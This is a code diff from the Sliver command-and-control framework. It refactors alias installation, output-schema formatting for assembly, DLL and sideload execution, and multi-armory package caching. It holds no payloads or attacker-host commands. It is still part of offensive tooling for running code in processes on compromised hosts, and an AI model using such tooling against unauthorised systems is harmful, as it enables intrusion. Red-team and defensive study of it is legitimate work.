||||
@@ -36,11 +36,11 @@ func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []str
|
||||
aliasLocalPath := args[0]
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFile(aliasLocalPath, false, con)
|
||||
InstallFromFile(aliasLocalPath, "", false, con)
|
||||
} else {
|
||||
installFromDir(aliasLocalPath, con)
|
||||
}
|
||||
@@ -100,7 +100,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
// Install an extension from a .tar.gz file.
|
||||
func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverClient) *string {
|
||||
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string {
|
||||
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, aliasGzFilePath, err)
|
||||
@@ -108,12 +108,18 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
manifest, err := ParseAliasManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
errorMsg := ""
|
||||
if aliasName != "" {
|
||||
errorMsg = fmt.Sprintf("Error processing manifest for alias %s - failed to parse %s: %s\n", aliasName, ManifestFileName, err)
|
||||
} else {
|
||||
errorMsg = fmt.Sprintf("Failed to parse %s: %s\n", ManifestFileName, err)
|
||||
}
|
||||
con.PrintErrorf(errorMsg)
|
||||
return nil
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
if !autoOverwrite {
|
||||
if promptToOverwrite {
|
||||
con.PrintInfof("Alias '%s' already exists\n", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
@@ -139,7 +145,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
for _, aliasFile := range manifest.Files {
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
@@ -151,7 +157,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
return &installPath
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverClient) error {
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
|
||||
if err != nil {
|
||||
return err
|
||||
|
||||
@@ -32,6 +32,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -57,7 +58,7 @@ var (
|
||||
|
||||
defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"linux": linuxDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
)
|
||||
@@ -85,14 +86,17 @@ type AliasManifest struct {
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
AllowArgs bool `json:"allow_args"`
|
||||
DefaultArgs string `json:"default_args"`
|
||||
Files []*AliasFile `json:"files"`
|
||||
IsReflective bool `json:"is_reflective"`
|
||||
IsAssembly bool `json:"is_assembly"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
RootPath string `json:"-"`
|
||||
RootPath string `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
@@ -103,7 +107,7 @@ func (ec *AliasManifest) getDefaultProcess(targetOS string) (proc string, err er
|
||||
return
|
||||
}
|
||||
|
||||
func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
|
||||
func (a *AliasManifest) getFileForTarget(_ string, targetOS string, targetArch string) (string, error) {
|
||||
filePath := ""
|
||||
for _, extFile := range a.Files {
|
||||
if targetOS == extFile.OS && targetArch == extFile.Arch {
|
||||
@@ -237,6 +241,13 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
}
|
||||
|
||||
if alias.Schema != nil {
|
||||
if !packages.IsValidSchemaType(alias.Schema.Name) {
|
||||
return nil, fmt.Errorf("%s is not a valid schema type", alias.Schema.Name)
|
||||
}
|
||||
alias.Schema.IngestColumns()
|
||||
}
|
||||
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
@@ -267,20 +278,20 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
return
|
||||
}
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
var extArgsStr string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
extArgsStr = aliasManifest.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
extArgsStr = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
extArgsStr = strings.TrimSpace(extArgsStr)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
if len(extArgsStr) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
@@ -352,13 +363,13 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Arguments: args,
|
||||
Assembly: binData,
|
||||
Arch: arch,
|
||||
Method: method,
|
||||
@@ -385,11 +396,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(cmd.Name(), executeAssemblyResp, outFilePath, con)
|
||||
PrintAssemblyOutput(cmd.Name(), aliasManifest.Schema, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
@@ -398,11 +409,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Args: args,
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
@@ -424,11 +435,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(cmd.Name(), spawnDllResp, outFilePath, con)
|
||||
PrintSpawnDLLOutput(cmd.Name(), aliasManifest.Schema, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
@@ -437,11 +448,11 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgs)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", cmd.Name(), extArgsStr)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: extArgs,
|
||||
Args: args,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
@@ -464,18 +475,44 @@ func runAliasCommand(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(cmd.Name(), sideloadResp, outFilePath, con)
|
||||
PrintSideloadOutput(cmd.Name(), aliasManifest.Schema, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getOutputWithSchema(schema *packages.OutputSchema, result string) string {
|
||||
if schema == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
outputSchema := packages.GetNewPackageOutput(schema.Name)
|
||||
if outputSchema == nil {
|
||||
return result
|
||||
}
|
||||
|
||||
err := outputSchema.IngestData([]byte(result), schema.Columns(), schema.GroupBy)
|
||||
if err != nil {
|
||||
return result
|
||||
}
|
||||
return outputSchema.CreateTable()
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command.
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
func PrintSpawnDLLOutput(cmdName string, schema *packages.OutputSchema, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, spawnDllResp.GetResult())
|
||||
} else {
|
||||
result = spawnDllResp.GetResult()
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.WriteString(spawnDllResp.GetResult())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
@@ -483,8 +520,17 @@ func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFil
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command.
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
func PrintSideloadOutput(cmdName string, schema *packages.OutputSchema, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, sideloadResp.GetResult())
|
||||
} else {
|
||||
result = sideloadResp.GetResult()
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.WriteString(sideloadResp.GetResult())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
@@ -492,8 +538,17 @@ func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFil
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command.
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
func PrintAssemblyOutput(cmdName string, schema *packages.OutputSchema, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverClient) {
|
||||
var result string
|
||||
|
||||
if schema != nil {
|
||||
result = getOutputWithSchema(schema, string(execAsmResp.GetOutput()))
|
||||
} else {
|
||||
result = string(execAsmResp.GetOutput())
|
||||
}
|
||||
con.PrintInfof("%s output:\n%s", cmdName, result)
|
||||
|
||||
// Output the raw result to the file
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
|
||||
+363
-73
@@ -23,6 +23,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"slices"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
@@ -54,13 +55,24 @@ type ArmoryPackage struct {
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
|
||||
IsAlias bool `json:"-"`
|
||||
IsAlias bool `json:"-"`
|
||||
ArmoryName string `json:"-"`
|
||||
/*
|
||||
With support for multiple armories, the command name of a package
|
||||
is not unique anymore, so we need something that is unique
|
||||
to be able to keep track of packages.
|
||||
|
||||
This ID will be a hash calculated from properties of the package.
|
||||
*/
|
||||
ID string `json:"-"`
|
||||
ArmoryPK string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
ArmoryName string `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
@@ -89,48 +101,75 @@ type pkgCacheEntry struct {
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
// This corresponds to Pkg.ID
|
||||
ID string
|
||||
}
|
||||
|
||||
var (
|
||||
// public key -> armoryCacheEntry
|
||||
indexCache = sync.Map{}
|
||||
// public key -> armoryPkgCacheEntry
|
||||
// package ID -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
// public key -> assets.ArmoryConfig
|
||||
currentArmories = sync.Map{}
|
||||
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
//cacheTime = time.Hour
|
||||
cacheTime = 2 * time.Minute
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
|
||||
// Track whether armories have been initialized so that we know if we need to pull from the config
|
||||
armoriesInitialized = false
|
||||
|
||||
// Track whether the default armory has been removed by the user (this is needed to prevent it from being readded in if they have removed it)
|
||||
defaultArmoryRemoved = false
|
||||
)
|
||||
|
||||
// ArmoryCmd - The main armory command
|
||||
func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
con.PrintInfof("Fetching %d armory index(es) ... ", len(armoriesConfig))
|
||||
armoriesConfig := getCurrentArmoryConfiguration()
|
||||
if len(armoriesConfig) == 1 {
|
||||
con.Printf("Reading armory index ... ")
|
||||
} else {
|
||||
con.PrintInfof("Reading %d armory indexes ... ", len(armoriesConfig))
|
||||
}
|
||||
clientConfig := parseArmoryHTTPConfig(cmd)
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
if len(indexes) != len(armoriesConfig) {
|
||||
con.Printf("errors!\n")
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(indexCacheEntry)
|
||||
if cacheEntry.LastErr != nil {
|
||||
con.PrintErrorf("%s - %s\n", cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
con.PrintErrorf("%s (%s) - %s\n", cacheEntry.ArmoryConfig.Name, cacheEntry.RepoURL, cacheEntry.LastErr)
|
||||
}
|
||||
return true
|
||||
})
|
||||
} else {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
armoriesInitialized = true
|
||||
if len(indexes) == 0 {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
return
|
||||
}
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
|
||||
if 0 < len(indexes) {
|
||||
con.PrintInfof("Fetching package information ... ")
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
for _, index := range indexes {
|
||||
errorCount := 0
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
con.PrintInfof("Reading package information for armory %s ... ", index.ArmoryConfig.Name)
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry := value.(pkgCacheEntry)
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Something is wrong with this entry
|
||||
pkgCache.Delete(value)
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey != index.ArmoryConfig.PublicKey {
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr != nil {
|
||||
errorCount++
|
||||
if errorCount == 0 {
|
||||
@@ -149,32 +188,52 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
if errorCount == 0 {
|
||||
con.Printf("done!\n")
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
|
||||
}
|
||||
if 0 < len(aliases) || 0 < len(exts) {
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
PrintArmoryPackages(aliases, exts, con)
|
||||
} else {
|
||||
con.PrintInfof("No indexes found\n")
|
||||
con.PrintInfof("No packages found\n")
|
||||
}
|
||||
con.Println()
|
||||
bundles := bundlesInCache()
|
||||
if 0 < len(bundles) {
|
||||
PrintArmoryBundles(bundles, con)
|
||||
} else {
|
||||
con.PrintInfof("No bundles found\n")
|
||||
}
|
||||
}
|
||||
|
||||
func refresh(clientConfig ArmoryHTTPConfig) {
|
||||
armoriesConfig := assets.GetArmoriesConfig()
|
||||
indexes := fetchIndexes(armoriesConfig, clientConfig)
|
||||
fetchPackageSignatures(indexes, clientConfig)
|
||||
getCurrentArmoryConfiguration()
|
||||
indexes := fetchIndexes(clientConfig)
|
||||
for _, index := range indexes {
|
||||
fetchPackageSignatures(index, clientConfig)
|
||||
}
|
||||
}
|
||||
|
||||
func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
func countUniqueCommandsFromManifests(aliases []*alias.AliasManifest, exts []*extensions.ExtensionManifest) (int, int) {
|
||||
uniqueAliasNames := []string{}
|
||||
uniqueExtensionNames := []string{}
|
||||
|
||||
for _, alias := range aliases {
|
||||
if !slices.Contains(uniqueAliasNames, alias.CommandName) {
|
||||
uniqueAliasNames = append(uniqueAliasNames, alias.CommandName)
|
||||
}
|
||||
}
|
||||
|
||||
for _, ext := range exts {
|
||||
for _, cmd := range ext.ExtCommand {
|
||||
if !slices.Contains(uniqueExtensionNames, cmd.CommandName) {
|
||||
uniqueExtensionNames = append(uniqueExtensionNames, cmd.CommandName)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return len(uniqueAliasNames), len(uniqueExtensionNames)
|
||||
}
|
||||
|
||||
func packageManifestsInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) {
|
||||
aliases := []*alias.AliasManifest{}
|
||||
exts := []*extensions.ExtensionManifest{}
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
@@ -191,6 +250,125 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest)
|
||||
return aliases, exts
|
||||
}
|
||||
|
||||
func armoryLookupByName(name string) *assets.ArmoryConfig {
|
||||
var result *assets.ArmoryConfig
|
||||
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
indexEntry, ok := value.(indexCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if indexEntry.ArmoryConfig.Name == name {
|
||||
result = indexEntry.ArmoryConfig
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache with a given name
|
||||
func packageCacheLookupByName(name string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.Name == name {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the packages in the cache for a given command name
|
||||
func packageCacheLookupByCmd(commandName string) []*pkgCacheEntry {
|
||||
var result []*pkgCacheEntry = make([]*pkgCacheEntry, 0)
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.Pkg.CommandName == commandName {
|
||||
result = append(result, &cacheEntry)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package in the cache for a given command name and armory
|
||||
func packageCacheLookupByCmdAndArmory(commandName string, armoryPublicKey string) *pkgCacheEntry {
|
||||
var result *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey && cacheEntry.Pkg.CommandName == commandName {
|
||||
result = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// Returns the package hashes in the cache for a given armory
|
||||
func packageHashLookupByArmory(armoryPublicKey string) []string {
|
||||
result := []string{}
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.ArmoryConfig.PublicKey == armoryPublicKey {
|
||||
result = append(result, cacheEntry.ID)
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
func packageCacheLookupByID(packageID string) *pkgCacheEntry {
|
||||
var packageEntry *pkgCacheEntry
|
||||
|
||||
pkgCache.Range(func(key, value interface{}) bool {
|
||||
cacheEntry, ok := value.(pkgCacheEntry)
|
||||
if !ok {
|
||||
// Keep going
|
||||
return true
|
||||
}
|
||||
if cacheEntry.LastErr == nil {
|
||||
if cacheEntry.ID == packageID {
|
||||
packageEntry = &cacheEntry
|
||||
// Stop iterating
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
return packageEntry
|
||||
}
|
||||
|
||||
func bundlesInCache() []*ArmoryBundle {
|
||||
bundles := []*ArmoryBundle{}
|
||||
indexCache.Range(func(key, value interface{}) bool {
|
||||
@@ -207,7 +385,7 @@ func AliasExtensionOrBundleCompleter() carapace.Action {
|
||||
var action carapace.Action
|
||||
|
||||
results := []string{}
|
||||
aliases, exts := packagesInCache()
|
||||
aliases, exts := packageManifestsInCache()
|
||||
bundles := bundlesInCache()
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
@@ -256,6 +434,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -264,6 +443,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Armory",
|
||||
"Command Name",
|
||||
"Version",
|
||||
"Type",
|
||||
@@ -273,10 +453,11 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
|
||||
// Columns start at 1 for some dumb reason
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Number: 1, Mode: table.Asc},
|
||||
{Number: 2, Mode: table.Asc},
|
||||
})
|
||||
|
||||
type pkgInfo struct {
|
||||
ArmoryName string
|
||||
CommandName string
|
||||
Version string
|
||||
Type string
|
||||
@@ -284,8 +465,10 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
URL string
|
||||
}
|
||||
entries := []pkgInfo{}
|
||||
|
||||
for _, aliasPkg := range aliases {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: aliasPkg.ArmoryName,
|
||||
CommandName: aliasPkg.CommandName,
|
||||
Version: aliasPkg.Version,
|
||||
Type: "Alias",
|
||||
@@ -296,6 +479,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
for _, extm := range exts {
|
||||
for _, extension := range extm.ExtCommand {
|
||||
entries = append(entries, pkgInfo{
|
||||
ArmoryName: extm.ArmoryName,
|
||||
CommandName: extension.CommandName,
|
||||
Version: extension.Manifest.Version,
|
||||
Type: "Extension",
|
||||
@@ -315,6 +499,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
}
|
||||
if con.Settings.SmallTermWidth+urlMargin < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -323,6 +508,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
})
|
||||
} else {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.ArmoryName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Type),
|
||||
@@ -340,6 +526,7 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverClient) {
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Bundles" + console.Normal)
|
||||
